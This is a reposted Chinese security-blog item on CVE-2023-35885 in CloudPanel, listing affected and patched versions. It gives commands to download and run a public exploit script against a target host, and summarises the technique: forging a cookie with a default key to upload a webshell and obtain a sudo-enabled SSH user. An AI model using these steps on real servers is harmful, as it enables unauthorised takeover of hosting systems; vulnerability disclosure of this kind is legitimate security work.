CVE-2023-35885 Cloudpanel 0day 漏洞验证

admin 2023年7月21日14:55:24评论337 views字数 531阅读1分46秒阅读模式
CVE-2023-35885 Cloudpanel 0day 漏洞验证
作者:@EagleTube、@Mzulfahmy、@farphalabsGithub: https: //github.com/datackmy/FallingSkies-CVE-2023-35885/blob/main/受影响版本:v2.0.0 – v2.3.0修补版本:v2.3.1供应商主页:CloudPanel.io产品:CloudPanel参考: https: //www.datack.my/fallingskies -cloudpanel -0-day/
用法 :
wget https://raw.githubusercontent.com/datackmy/FallingSkies-CVE-2023-35885/main/exploit2.pychmod +x exploit2.pypython3 exploit2.py -T target_ip:target_port
概念验证
通过使用默认密钥注入加密的“序列化”clp-fm cookie 来上传 webshell。
CVE-2023-35885 Cloudpanel 0day 漏洞验证
从自动化 python 脚本上传 Shell。
CVE-2023-35885 Cloudpanel 0day 漏洞验证
已授予 sudo 权限的 SSH 用户。
CVE-2023-35885 Cloudpanel 0day 漏洞验证
补丁版本
Cloudpanel v2.3.1

原文始发于微信公众号(Ots安全):CVE-2023-35885 Cloudpanel 0day 漏洞验证

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月21日14:55:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-35885 Cloudpanel 0day 漏洞验证https://cn-sec.com/archives/1896493.html

发表评论

匿名网友 填写信息